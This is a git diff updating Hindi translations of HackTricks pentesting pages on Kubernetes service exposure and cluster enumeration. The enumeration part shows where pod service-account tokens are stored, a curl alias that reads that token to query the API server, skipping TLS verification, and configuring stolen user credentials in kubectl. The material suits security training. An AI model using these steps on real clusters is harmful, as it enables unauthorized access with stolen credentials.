directed होता है, उसे फिर systematicaly **service की ओर routed** किया जाता है। आमतौर पर, इसके drawbacks के कारण इस method की recommendation नहीं की जाती है। +जब **NodePort** का उपयोग किया जाता है, तो सभी Nodes (Virtual Machines का प्रतिनिधित्व करते हुए) पर एक निर्धारित port उपलब्ध कराया जाता है। इस specific port की ओर निर्देशित **Traffic** को फिर व्यवस्थित रूप से **service** तक **routed** किया जाता है। आमतौर पर, इसकी कमियों के कारण इस method की अनुशंसा नहीं की जाती। -सभी NodePorts की सूची बनाएं: +सभी NodePorts की सूची: ```bash kubectl get services --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,CLUSTER-IP:.spec.clusterIP,PORT(S):.spec.ports[*].port,NODEPORT(S):.spec.ports[*].nodePort,TARGETPORT(S):.spec.ports[*].targetPort,SELECTOR:.spec.selector' | grep NodePort ``` @@ -81,41 +81,42 @@ targetPort: 80 nodePort: 30036 protocol: TCP ``` -यदि आप yaml में **nodePort** को **specify** नहीं करते हैं (यह वही port है जो open होगा), तो **range 30000–32767** में से एक port **use** किया जाएगा। +यदि आप yaml में **nodePort** **निर्दिष्ट नहीं** करते हैं (यही वह पोर्ट है जो खोला जाएगा), तो **30000–32767** की रेंज में एक पोर्ट इस्तेमाल किया जाएगा। -जब NodePort या LoadBalancer Services की review कर रहे हों, तो traffic-policy fields की भी जांच करें क्योंकि वे यह बदलते हैं कि किसी given source से कौन-से nodes और backends useful हैं: +NodePort या LoadBalancer Services की समीक्षा करते समय, traffic-policy fields की भी जांच करें क्योंकि वे यह बदलते हैं कि किसी दिए गए source से कौन से nodes और backends उपयोगी होंगे: ```bash kubectl get services --all-namespaces \ -o custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,ETP:.spec.externalTrafficPolicy,ITP:.spec.internalTrafficPolicy,AFFINITY:.spec.sessionAffinity,DIST:.spec.trafficDistribution,NODEPORTS:.spec.ports[*].nodePort' ``` -- `externalTrafficPolicy: Local` NodePort/LoadBalancer traffic के लिए original client source IP को preserve करता है और दूसरे nodes पर endpoints को forward करने से बचाता है। जिस node पर local ready endpoint नहीं है, वह traffic को drop कर सकता है, भले ही Service के पास कहीं और endpoints हों। -- `externalTrafficPolicy: Cluster` default है और किसी भी node के through forward कर सकता है, लेकिन backend logs में real external client IP की बजाय node IPs दिख सकती हैं। -- `internalTrafficPolicy: Local` in-cluster Service traffic को source node के local endpoints तक सीमित करता है। यह locality routing है, authorization boundary नहीं। -- `sessionAffinity: ClientIP` एक ही client से repeated tests में same backend hit करवा सकता है, जिससे manual checks के दौरान दूसरे ready endpoints छिप सकते हैं। -- `trafficDistribution` और EndpointSlice topology hints newer clusters पर same-zone या same-node endpoints को prefer कर सकते हैं; इन्हें hard security policy की बजाय routing preferences की तरह treat करें। +- NodePorts सामान्यतः node addresses पर exposed होते हैं, लेकिन kube-proxy `--nodeport-addresses` या अपनी configuration में `nodePortAddresses` के साथ address ranges को restrict कर सकता है। NodePort हर node IP पर reachable है, ऐसा मानने से पहले active kube-proxy या CNI service-proxy replacement configuration को check करें। +- `externalTrafficPolicy: Local` NodePort/LoadBalancer traffic के लिए original client source IP को preserve करता है और दूसरे nodes पर endpoints की तरफ forwarding से बचाता है। जिस node पर local ready endpoint नहीं है, वह traffic drop कर सकता है, भले ही Service के endpoints कहीं और मौजूद हों। +- `externalTrafficPolicy: Cluster` default है और किसी भी node के through forward कर सकता है, लेकिन backend logs में real external client IP की जगह node IPs दिख सकती हैं। +- `internalTrafficPolicy: Local` in-cluster Service traffic को source node पर local endpoints तक सीमित करता है। यह locality routing है, authorization boundary नहीं। +- `sessionAffinity: ClientIP` एक client से repeated tests को same backend पर भेज सकता है, जिससे manual checks के दौरान दूसरे ready endpoints छिप सकते हैं। +- `trafficDistribution` और EndpointSlice topology hints नए clusters पर same-zone या same-node endpoints को prefer कर सकते हैं; इन्हें hard security policy की बजाय routing preferences की तरह treat करें। ### LoadBalancer -यह Service को बाहरी रूप से **cloud provider के load balancer** का उपयोग करके expose करता है। GKE पर, यह एक [Network Load Balancer](https://cloud.google.com/compute/docs/load-balancing/network/) spin up करेगा जो आपको एक single IP address देगा जो सभी traffic को आपकी service तक forward करेगा। AWS में यह एक Load Balancer launch करेगा। +Service को externally **cloud provider के load balancer** का उपयोग करके expose करता है। GKE पर, यह एक [Network Load Balancer](https://cloud.google.com/compute/docs/load-balancing/network/) शुरू करेगा जो आपको एक single IP address देगा, जो सारी traffic को आपकी service तक forward करेगा। AWS में यह एक Load Balancer launch करेगा। -आपको हर exposed service के लिए एक LoadBalancer की pay करनी होती है, जो expensive हो सकता है। +हर exposed service के लिए एक LoadBalancer का भुगतान करना पड़ता है, जो expensive हो सकता है। -सभी LoadBalancers की list करें: +सभी LoadBalancers सूचीबद्ध करें: ```bash kubectl get services --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,CLUSTER-IP:.spec.clusterIP,EXTERNAL-IP:.status.loadBalancer.ingress[*],PORT(S):.spec.ports[*].port,NODEPORT(S):.spec.ports[*].nodePort,TARGETPORT(S):.spec.ports[*].targetPort,SELECTOR:.spec.selector' | grep LoadBalancer ``` ### External IPs > [!TIP] -> External IPs को services of type Load Balancers द्वारा expose किया जाता है और ये आम तौर पर तब उपयोग किए जाते हैं जब external Cloud Provider Load Balancer उपयोग हो रहा होता है। +> External IPs को सेवाओं द्वारा type Load Balancers के रूप में exposed किया जाता है और आमतौर पर तब उपयोग किया जाता है जब external Cloud Provider Load Balancer का उपयोग हो रहा हो। > -> इन्हें खोजने के लिए, `EXTERNAL-IP` field में values वाले load balancers को check करें। +> उन्हें खोजने के लिए, `EXTERNAL-IP` field में values वाले load balancers चेक करें। -जो traffic cluster में **external IP** को **destination IP** के रूप में, Service port पर ingress करता है, उसे **Service के endpoints में से एक** पर **routed** किया जाएगा। `externalIPs` को Kubernetes manage नहीं करता और ये cluster administrator की responsibility हैं। +जो traffic cluster में **external IP** के साथ (**destination IP** के रूप में), Service port पर ingress करता है, वह **Service endpoints में से एक** पर **routed** किया जाएगा। `externalIPs` Kubernetes द्वारा managed नहीं होते और cluster administrator की जिम्मेदारी होते हैं। -`externalIPs` एक sensitive route-control field है क्योंकि जो user इसे set कर सकता है, वह उस IP address के लिए traffic claim कर सकता है जिसे Service owner नियंत्रित नहीं करना चाहिए, अगर आसपास का network उस IP को cluster तक route करता है। Kubernetes ने v1.36 में Service `externalIPs` के deprecation और planned removal की घोषणा की है, इसलिए जहां संभव हो, LoadBalancer integrations या Gateway API जैसे controller-owned exposure mechanisms को prefer करें, और जब तक यह field मौजूद है, इसे carefully restrict/admit करें। +`externalIPs` एक sensitive route-control field है क्योंकि जो user इसे set कर सकता है, वह ऐसे IP address के लिए traffic claim कर सकता है जिस पर Service owner को control नहीं होना चाहिए, अगर आसपास का network उस IP को cluster की ओर route करता है। Kubernetes ने v1.36 में Service `externalIPs` की deprecation और planned removal की घोषणा की है, इसलिए संभव हो तो LoadBalancer integrations या Gateway API जैसे controller-owned exposure mechanisms को प्राथमिकता दें, और जब तक यह field मौजूद है, इसे सावधानी से restrict/admit करें। -Service spec में, `externalIPs` को किसी भी `ServiceTypes` के साथ specify किया जा सकता है। नीचे दिए गए example में, "`my-service`" को clients द्वारा "`80.11.12.10:80`" (`externalIP:port`) पर access किया जा सकता है। +Service spec में, `externalIPs` को किसी भी `ServiceTypes` के साथ specify किया जा सकता है। नीचे दिए गए example में, "`my-service`" को clients "`80.11.12.10:80`" (`externalIP:port`) पर access कर सकते हैं ```yaml apiVersion: v1 kind: Service @@ -134,9 +135,9 @@ externalIPs: ``` ### ExternalName -[**Docs से:**](https://kubernetes.io/docs/concepts/services-networking/service/#externalname) ExternalName type की Services एक Service को एक DNS name पर **map** करती हैं, न कि `my-service` या `cassandra` जैसे typical selector पर। आप इन Services को `spec.externalName` parameter के साथ specify करते हैं। +[**डॉक्स से:**](https://kubernetes.io/docs/concepts/services-networking/service/#externalname) type ExternalName वाले Services एक Service को DNS name पर **map** करते हैं, न कि `my-service` या `cassandra` जैसे typical selector पर। आप इन Services को `spec.externalName` parameter के साथ specify करते हैं। -यह Service definition, उदाहरण के लिए, `prod` namespace में `my-service` Service को `my.database.example.com` पर map करती है: +उदाहरण के लिए, यह Service definition `prod` namespace में `my-service` Service को `my.database.example.com` पर map करती है: ```yaml apiVersion: v1 kind: Service @@ -147,34 +148,36 @@ spec: type: ExternalName externalName: my.database.example.com ``` -जब host `my-service.prod.svc.cluster.local` को look up किया जाता है, तो cluster DNS Service `CNAME` record के रूप में `my.database.example.com` value लौटाती है। `my-service` को access करना अन्य Services की तरह ही काम करता है, लेकिन एक महत्वपूर्ण अंतर के साथ: **redirection DNS level पर होती है** न कि proxying या forwarding के जरिए। +जब `my-service.prod.svc.cluster.local` को look up किया जाता है, तो cluster DNS Service `my.database.example.com` value वाला एक `CNAME` record return करता है। `my-service` को access करना बाकी Services की तरह ही काम करता है, लेकिन crucial difference यह है कि **redirection DNS level पर होती है** न कि proxying या forwarding के जरिए। -सभी ExternalNames की सूची: +Security review note: अगर कोई Ingress controller, Gateway implementation, service mesh, या application किसी ExternalName Service को backend के रूप में accept करता है, तो controller अपने network position से external name को resolve करके reach कर सकता है। इससे internal-only services public routing infrastructure के जरिए expose हो सकती हैं जब users route object और ExternalName Service दोनों create कर सकते हैं। इसे safe मानने से पहले specific controller implementation और version, ExternalName support flags या allowlists, route status, और exact target domain review करें। उदाहरण के लिए, Skipper ने v0.24.0 में Kubernetes ExternalName SSRF issue को patch किया था, by default ExternalName backends को disable करके और allowlist option को document करके। + +List all ExternalNames: ```bash kubectl get services --all-namespaces | grep ExternalName ``` ### EndpointSlices -EndpointSlices एक Service जिन concrete backend addresses और ports की ओर currently route करती है, उन्हें दिखाते हैं। ये खास तौर पर तब useful होते हैं जब किसी Service का selector नहीं होता, जब labels traffic path को explain नहीं करते, या जब केवल कुछ backends ready होते हैं। +EndpointSlices एक Service द्वारा वर्तमान में route किए जा रहे concrete backend addresses और ports दिखाते हैं। ये खास तौर पर तब उपयोगी होते हैं जब किसी Service का कोई selector नहीं होता, जब labels traffic path को explain नहीं करते, या जब केवल कुछ backends ready होते हैं। -Services से जुड़े EndpointSlices list करें: +Services से जुड़े EndpointSlices सूचीबद्ध करें: ```bash kubectl get endpointslices --all-namespaces kubectl get endpointslice -n -l kubernetes.io/service-name= -o yaml kubectl get endpointslice -n -l kubernetes.io/service-name= \ -o custom-columns='NAME:.metadata.name,ADDR:.endpoints[*].addresses,READY:.endpoints[*].conditions.ready,PORTS:.ports[*].port' ``` -एक exposure की समीक्षा करते समय, Service selector की तुलना EndpointSlice `targetRef`, endpoint addresses, readiness conditions, और ports से करें। एक selectorless Service को manually managed EndpointSlices के साथ pair किया जा सकता है और traffic को non-Pod या unexpected destinations की ओर route किया जा सकता है। +एक exposure की समीक्षा करते समय, Service selector की तुलना EndpointSlice `targetRef`, endpoint addresses, readiness conditions, और ports से करें। selectorless Service को manually managed EndpointSlices के साथ pair किया जा सकता है और यह traffic को non-Pod या unexpected destinations की ओर route कर सकता है। ### Ingress -ऊपर दिए गए सभी examples के विपरीत, **Ingress service का type नहीं है**। इसके बजाय, यह **multiple services के सामने बैठता है और एक “smart router”** या आपके cluster के लिए entrypoint की तरह act करता है। +ऊपर दिए गए सभी examples के विपरीत, **Ingress कोई service का type नहीं है**। इसके बजाय, यह **multiple services के सामने** बैठता है और आपके cluster में entrypoint के रूप में **एक “smart router”** की तरह act करता है। -आप Ingress के साथ कई अलग-अलग चीजें कर सकते हैं, और **Ingress controllers के कई types हैं जिनकी capabilities अलग-अलग होती हैं**। +आप Ingress के साथ बहुत सी अलग-अलग चीजें कर सकते हैं, और **Ingress controllers के कई types होते हैं जिनकी capabilities अलग-अलग होती हैं**। -Default GKE ingress controller आपके लिए एक [HTTP(S) Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/) spin up करेगा। इससे आप path based और subdomain based routing दोनों को backend services तक कर सकेंगे। उदाहरण के लिए, आप foo.yourdomain.com पर आने वाला सब कुछ foo service पर भेज सकते हैं, और yourdomain.com/bar/ path के अंदर आने वाला सब कुछ bar service पर भेज सकते हैं। +default GKE ingress controller आपके लिए एक [HTTP(S) Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/) spin up करेगा। इससे आप backend services के लिए path based और subdomain based routing, दोनों कर पाएंगे। उदाहरण के लिए, आप foo.yourdomain.com पर आने वाला सब कुछ foo service को भेज सकते हैं, और yourdomain.com/bar/ path के नीचे आने वाला सब कुछ bar service को भेज सकते हैं। -GKE पर एक [L7 HTTP Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/) के साथ एक Ingress object के लिए YAML कुछ इस तरह दिख सकता है: +GKE पर एक [L7 HTTP Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/) के साथ Ingress object के लिए YAML कुछ इस तरह दिख सकता है: ```yaml apiVersion: networking.k8s.io/v1 kind: Ingress @@ -212,33 +215,42 @@ number: 8080 ```bash kubectl get ingresses --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,RULES:spec.rules[*],STATUS:status' ``` -हालाँकि इस मामले में, इसे बेहतर पढ़ने के लिए हर एक की जानकारी एक-एक करके लेना बेहतर है: +हालांकि इस case में इसे बेहतर तरीके से read करने के लिए हर एक की info को one by one लेना बेहतर है: ```bash kubectl get ingresses --all-namespaces -o=yaml ``` ### Gateway API -Gateway API Services को expose करने के लिए नया Kubernetes API है। यह infrastructure-owned Gateway objects को application-owned Route objects जैसे HTTPRoute से अलग करता है। यह delegation के लिए उपयोगी है, लेकिन इसका मतलब यह भी है कि exposure namespaces के बीच split हो सकता है। +Gateway API Kubernetes में Services को expose करने के लिए नया API है। यह infrastructure-owned Gateway objects को application-owned Route objects जैसे HTTPRoute से अलग करता है। यह delegation के लिए उपयोगी है, लेकिन इसका मतलब यह भी है कि exposure namespaces के बीच split हो सकती है। Gateway API exposure objects की सूची बनाएं: ```bash kubectl get gatewayclasses kubectl get gateways --all-namespaces kubectl get httproutes --all-namespaces +kubectl get grpcroutes,tlsroutes,tcproutes,udproutes --all-namespaces +kubectl get referencegrants --all-namespaces +kubectl get backendtlspolicies --all-namespaces kubectl get gateway -n -o yaml kubectl get httproute -n -o yaml ``` -Gateway listeners, allowed route namespaces, Route `parentRefs`, hostnames, filters, backend references, और status conditions जैसे कि Route accepted हुआ था या नहीं, उन्हें check करें। एक Route जिसे shared Gateway द्वारा accepted किया गया है, backend को expose कर सकता है, भले ही कोई legacy Ingress object मौजूद न हो। +Gateway listeners, allowed route namespaces, Route `parentRefs`, hostnames or SNI matches, filters, backend references, और status conditions जैसे `Accepted`, `ResolvedRefs`, और `Programmed` की जांच करें। एक Route जिसे shared Gateway द्वारा accepted किया गया है, backend को expose कर सकता है, भले ही कोई legacy Ingress object मौजूद न हो। + +केवल HTTPRoute की जांच न करें। GRPCRoute, TLSRoute, TCPRoute, और UDPRoute non-HTTP services जैसे admin ports, brokers, databases, service-mesh gateways, या pass-through TLS backends को expose कर सकते हैं। साथ ही cross-namespace backend या certificate references के लिए `ReferenceGrant` objects और जब Gateway backend Services से connect करता है तो उसके उपयोग किए गए TLS identity के लिए `BackendTLSPolicy` की भी समीक्षा करें। Backend TLS policy अपने-आप public reachability का proof नहीं है, लेकिन यह उपयोगी evidence है जब एक programmed Gateway route एक ready Service तक पहुंचता है, और backend identity validation weak, shared, या गलत हो। ### References - [https://medium.com/google-cloud/kubernetes-nodeport-vs-loadbalancer-vs-ingress-when-should-i-use-what-922f010849e0](https://medium.com/google-cloud/kubernetes-nodeport-vs-loadbalancer-vs-ingress-when-should-i-use-what-922f010849e0) - [https://kubernetes.io/docs/concepts/services-networking/service/](https://kubernetes.io/docs/concepts/services-networking/service/) +- [https://kubernetes.io/docs/reference/command-line-tools-reference/kube-proxy/](https://kubernetes.io/docs/reference/command-line-tools-reference/kube-proxy/) - [https://kubernetes.io/blog/2026/05/14/kubernetes-v1-36-deprecation-and-removal-of-service-externalips/](https://kubernetes.io/blog/2026/05/14/kubernetes-v1-36-deprecation-and-removal-of-service-externalips/) - [https://kubernetes.io/docs/concepts/services-networking/service-traffic-policy/](https://kubernetes.io/docs/concepts/services-networking/service-traffic-policy/) - [https://kubernetes.io/docs/tutorials/services/source-ip/](https://kubernetes.io/docs/tutorials/services/source-ip/) - [https://kubernetes.io/docs/concepts/services-networking/topology-aware-routing/](https://kubernetes.io/docs/concepts/services-networking/topology-aware-routing/) - [https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/](https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/) - [https://gateway-api.sigs.k8s.io/](https://gateway-api.sigs.k8s.io/) +- [https://kubernetes.io/blog/2025/11/06/gateway-api-v1-4/](https://kubernetes.io/blog/2025/11/06/gateway-api-v1-4/) +- [https://gateway-api.sigs.k8s.io/api-types/backendtlspolicy/](https://gateway-api.sigs.k8s.io/api-types/backendtlspolicy/) +- [https://github.com/zalando/skipper/security/advisories/GHSA-mxxc-p822-2hx9](https://github.com/zalando/skipper/security/advisories/GHSA-mxxc-p822-2hx9) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md b/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md index 1bba770ab..7067c33b4 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md @@ -4,38 +4,38 @@ ## Kubernetes Tokens -अगर आपने किसी मशीन पर compromise access प्राप्त कर लिया है, तो संभव है कि user के पास किसी Kubernetes platform तक access हो। token आमतौर पर उस file में होता है जो **env var `KUBECONFIG`** द्वारा point की जाती है या **`~/.kube`** के अंदर होती है। +यदि आपने किसी machine पर compromised access प्राप्त कर लिया है, तो user के पास कुछ Kubernetes platform तक access हो सकता है। token आमतौर पर उस file में होता है जिसे **env var `KUBECONFIG`** या **`~/.kube`** के अंदर point किया गया हो। -इस folder में आपको ऐसे config files मिल सकते हैं जिनमें **tokens और API server से connect करने के configurations** होते हैं। इस folder में आपको एक cache folder भी मिल सकता है जिसमें पहले से retrieved information होती है। +इस folder में आपको **API server से connect करने के लिए tokens और configurations** वाली config files मिल सकती हैं। इस folder में आप पहले से retrieved information वाला cache folder भी पा सकते हैं। -अगर आपने किसी kubernetes environment के अंदर एक pod को compromise किया है, तो कुछ और जगहें हैं जहाँ आपको current K8 env के tokens और information मिल सकती है: +यदि आपने kubernetes environment के अंदर किसी pod को compromised किया है, तो current K8 env के tokens और information खोजने के लिए और भी जगहें होती हैं: ### Service Account Tokens -आगे बढ़ने से पहले, अगर आपको Kubernetes में service क्या है यह नहीं पता, तो मैं सुझाव दूँगा कि आप **इस link को follow करें और कम से कम Kubernetes architecture के बारे में जानकारी पढ़ें।** +आगे बढ़ने से पहले, यदि आपको Kubernetes में service क्या है, यह नहीं पता, तो मैं सुझाव दूँगा कि आप **इस link को follow करें और कम से कम Kubernetes architecture के बारे में जानकारी पढ़ें।** Kubernetes [documentation](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#use-the-default-service-account-to-access-the-api-server) से लिया गया: -_“When you create a pod, if you do not specify a service account, it is automatically assigned the_ default _service account in the same namespace.”_ +_“जब आप एक pod बनाते हैं, यदि आप कोई service account specify नहीं करते, तो उसे उसी namespace में automatically_ default _service account assign कर दिया जाता है।”_ -**ServiceAccount** एक object है जो Kubernetes द्वारा managed होता है और pod में चलने वाली processes के लिए identity प्रदान करने में उपयोग होता है।\ -हर service account के साथ एक related secret होता है और इस secret में एक bearer token होता है। यह एक JSON Web Token (JWT) है, जो दो parties के बीच claims को securely represent करने की method है। +**ServiceAccount** Kubernetes द्वारा managed एक object है, जिसका उपयोग pod में चलने वाले processes के लिए identity प्रदान करने के लिए किया जाता है।\ +हर service account के साथ एक secret जुड़ा होता है और यह secret एक bearer token contain करता है। यह एक JSON Web Token (JWT) है, जो दो parties के बीच claims को securely represent करने की method है। -आमतौर पर **इन directories** में से **एक**: +आमतौर पर **इनमें से किसी एक** directory में: - `/run/secrets/kubernetes.io/serviceaccount` - `/var/run/secrets/kubernetes.io/serviceaccount` - `/secrets/kubernetes.io/serviceaccount` -इन files को contain करती हैं: +ये files होती हैं: -- **ca.crt**: Kubernetes communications को check करने के लिए ca certificate +- **ca.crt**: यह kubernetes communications को check करने के लिए ca certificate है - **namespace**: यह current namespace को indicate करता है -- **token**: इसमें current pod का **service token** होता है। +- **token**: यह current pod का **service token** contain करता है। -अब जब आपके पास token है, तो आप environment variable **`KUBECONFIG`** के अंदर API server ढूँढ सकते हैं। अधिक जानकारी के लिए `(env | set) | grep -i "kuber|kube`**`"`** चलाएँ। +अब जब आपके पास token है, तो आप **`KUBECONFIG`** environment variable के अंदर API server ढूँढ सकते हैं। अधिक जानकारी के लिए `(env | set) | grep -i "kuber|kube`**`"`** चलाएँ -service account token, **sa.key** file में मौजूद key द्वारा signed होता है और **sa.pub** द्वारा validated होता है। +service account token को **sa.key** file में मौजूद key द्वारा sign किया जाता है और **sa.pub** द्वारा validate किया जाता है। **Kubernetes** पर default location: @@ -47,28 +47,28 @@ service account token, **sa.key** file में मौजूद key द्व ### Hot Pods -_**Hot pods are**_ ऐसे pods जिनमें privileged service account token होता है। privileged service account token वह token है जिसे privileged tasks करने की permission होती है, जैसे secrets listing, pods creating, आदि। +_**Hot pods**_ वे pods हैं जिनमें privileged service account token होता है। privileged service account token ऐसा token है जिसे privileged tasks जैसे secrets की listing, pods बनाना, आदि करने की permission होती है। ## RBAC -अगर आपको नहीं पता कि **RBAC** क्या है, तो **इस section को पढ़ें**। +यदि आपको नहीं पता कि **RBAC** क्या है, तो **इस section को पढ़ें**। ## GUI Applications -- **k9s**: एक GUI जो terminal से kubernetes cluster को enumerate करता है। [https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/) में commands देखें। `:namespace` लिखें और select all करें, फिर सभी namespaces में resources search करें। +- **k9s**: एक GUI जो terminal से kubernetes cluster को enumerate करता है। [https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/) में commands देखें। `:namespace` लिखें और सभी select करें, फिर सभी namespaces में resources search करें। - **k8slens**: यह कुछ free trial days offer करता है: [https://k8slens.dev/](https://k8slens.dev/) ## Enumeration CheatSheet -K8s environment को enumerate करने के लिए आपको कुछ चीज़ों की ज़रूरत होगी: +एक K8s environment को enumerate करने के लिए आपको कुछ चीज़ों की ज़रूरत होती है: -- एक **valid authentication token**। पिछले section में हमने देखा कि user token और service account token कहाँ खोजें। -- Kubernetes API का **address (**_**https://host:port**_**)। यह आमतौर पर environment variables और/या kube config file में मिल सकता है। -- **Optional**: API server को verify करने के लिए **ca.crt**। यह उन्हीं जगहों पर मिल सकता है जहाँ token मिलता है। यह API server certificate verify करने के लिए useful है, लेकिन `kubectl` के साथ `--insecure-skip-tls-verify` या `curl` के साथ `-k` उपयोग करने पर इसकी ज़रूरत नहीं होगी। +- एक **valid authentication token**। पिछली section में हमने देखा कि user token और service account token कहाँ search करना है। +- Kubernetes API का **address (**_**https://host:port**_**)**। यह आमतौर पर environment variables और/या kube config file में मिल सकता है। +- **Optional**: API server को verify करने के लिए **ca.crt**। यह उन्हीं जगहों पर मिल सकता है जहाँ token मिलता है। यह API server certificate verify करने के लिए उपयोगी है, लेकिन `kubectl` के साथ `--insecure-skip-tls-verify` या `curl` के साथ `-k` use करने पर इसकी ज़रूरत नहीं होगी। -इन details के साथ आप **kubernetes enumerate** कर सकते हैं। अगर किसी कारण से **API** **Internet** के through **accessible** है, तो आप बस वह info download करके अपने host से platform enumerate कर सकते हैं। +इन details के साथ आप **kubernetes enumerate** कर सकते हैं। यदि किसी कारण से **API** **Internet** के माध्यम से **accessible** है, तो आप बस वह info download करके अपने host से platform enumerate कर सकते हैं। -हालाँकि, आमतौर पर **API server internal network** के अंदर होता है, इसलिए आपको अपने machine से access करने के लिए compromised machine के through एक **tunnel create** करना होगा, या आप [**kubectl**](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux) binary **upload** कर सकते हैं, या API server पर raw HTTP requests करने के लिए **`curl/wget/anything`** का उपयोग कर सकते हैं। +हालाँकि, आमतौर पर **API server internal network** के अंदर होता है, इसलिए आपको अपनी machine से access करने के लिए compromised machine के through एक **tunnel create** करना होगा, या आप **[kubectl](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux)** binary **upload** कर सकते हैं, या API server पर raw HTTP requests करने के लिए **`curl/wget/anything`** use कर सकते हैं। ### Differences between `list` and `get` verbs @@ -76,14 +76,14 @@ K8s environment को enumerate करने के लिए आपको क ``` GET /apis/apps/v1/namespaces/{namespace}/deployments/{name} ``` -यदि आपके पास **`list`** permission है, तो आपको किसी asset के प्रकार की सूची बनाने के लिए API requests execute करने की अनुमति है (_`kubectl`_ में `get` option_): +यदि आपके पास **`list`** permission है, तो आपको किसी asset के type को list करने के लिए API requests execute करने की अनुमति होती है (_`kubectl` में `get` option_): ```bash #In a namespace GET /apis/apps/v1/namespaces/{namespace}/deployments #In all namespaces GET /apis/apps/v1/deployments ``` -यदि आपके पास **`watch`** permission है, तो आपको assets की monitoring के लिए API requests execute करने की अनुमति है: +यदि आपके पास **`watch`** permission है, तो आपको assets को monitor करने के लिए API requests execute करने की अनुमति है: ``` GET /apis/apps/v1/deployments?watch=true GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true @@ -91,14 +91,14 @@ GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name} [DEPRECATED] GET /apis/apps/v1/watch/namespaces/{namespace}/deployments [DEPRECATED] GET /apis/apps/v1/watch/deployments [DEPRECATED] ``` -वे एक streaming connection खोलते हैं जो जब भी बदलता है (या जब कोई नया बनाया जाता है) तो आपको Deployment का पूरा manifest return करता है। +वे एक streaming connection खोलते हैं जो जब भी यह बदलता है (या जब एक नया बनाया जाता है) तब आपको एक Deployment का पूरा manifest लौटाता है। > [!CAUTION] -> निम्न `kubectl` commands केवल यह दिखाते हैं कि objects को कैसे list किया जाए। अगर आप data access करना चाहते हैं, तो आपको `get` के बजाय `describe` का उपयोग करना होगा +> निम्नलिखित `kubectl` commands सिर्फ यह दिखाते हैं कि objects को कैसे सूचीबद्ध किया जाए। यदि आप data access करना चाहते हैं, तो आपको `get` के बजाय `describe` का उपयोग करना होगा ### Using curl -एक pod के अंदर से आप कई env variables का उपयोग कर सकते हैं: +किसी pod के अंदर से आप कई env variables का उपयोग कर सकते हैं: ```bash export APISERVER=${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS} export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount @@ -109,21 +109,21 @@ alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\"" # if kurl is still got cert Error, using -k option to solve this. ``` > [!WARNING] -> डिफ़ॉल्ट रूप से pod **`kubernetes.default.svc`** domain name में **kube-api server** को **access** कर सकता है और आप kube network को **`/etc/resolv.config`** में देख सकते हैं, जैसा कि यहाँ आपको kubernetes DNS server का address मिलेगा (उसी range का ".1" ही kube-api endpoint है)। +> By default the pod can **access** the **kube-api server** in the domain name **`kubernetes.default.svc`** and you can see the kube network in **`/etc/resolv.config`** as here you will find the address of the kubernetes DNS server (the ".1" of the same range is the kube-api endpoint). ### Using kubectl -token और API server के address के साथ आप kubectl या curl का उपयोग करके इसे access करते हैं, जैसा कि यहाँ बताया गया है: +Having the token and the address of the API server you use kubectl or curl to access it as indicated here: -डिफ़ॉल्ट रूप से, APISERVER **`https://`** schema के साथ communicate कर रहा है +By default, The APISERVER is communicating with `https://` schema ```bash alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true [--all-namespaces]' # Use --all-namespaces to always search in all namespaces ``` -> यदि URL में `https://` नहीं है, तो आपको Bad Request जैसा Error मिल सकता है। +> अगर URL में `https://` नहीं है, तो आपको Bad Request जैसी Error मिल सकती है। -आप [**official kubectl cheatsheet here**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/) पा सकते हैं। निम्नलिखित sections का goal है कि ordered manner में different options present किए जाएँ ताकि आप अपने access में आए नए K8s को enumerate और understand कर सकें। +आप [**official kubectl cheatsheet here**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/) पा सकते हैं। निम्नलिखित sections का goal अलग-अलग options को ordered manner में present करना है ताकि आप जिस नए K8s का access मिला है, उसे enumerate और understand कर सकें। -`kubectl` जो HTTP request भेजता है उसे find करने के लिए आप parameter `-v=8` का use कर सकते हैं +`kubectl` जो HTTP request भेजता है, उसे find करने के लिए आप `-v=8` parameter का use कर सकते हैं #### MitM kubectl - Proxyfying kubectl ```bash @@ -150,7 +150,7 @@ kubectl config set-context --current --namespace= {{#endtab }} {{#endtabs }} -यदि आपने कुछ users के credentials चुरा लिए हैं, तो आप उन्हें **locally configure** कर सकते हैं, जैसे: +यदि आपने कुछ उपयोगकर्ताओं के credentials चुरा लिए हैं, तो आप उन्हें स्थानीय रूप से इस तरह **configure** कर सकते हैं: ```bash kubectl config set-credentials USER_NAME \ --auth-provider=oidc \ @@ -163,7 +163,7 @@ kubectl config set-credentials USER_NAME \ ``` ### समर्थित संसाधन प्राप्त करें -इस जानकारी के साथ आपको उन सभी services का पता चल जाएगा जिन्हें आप list कर सकते हैं +इस जानकारी के साथ आपको वे सभी सेवाएँ पता चलेंगी जिन्हें आप सूचीबद्ध कर सकते हैं {{#tabs }} {{#tab name="kubectl" }} @@ -174,20 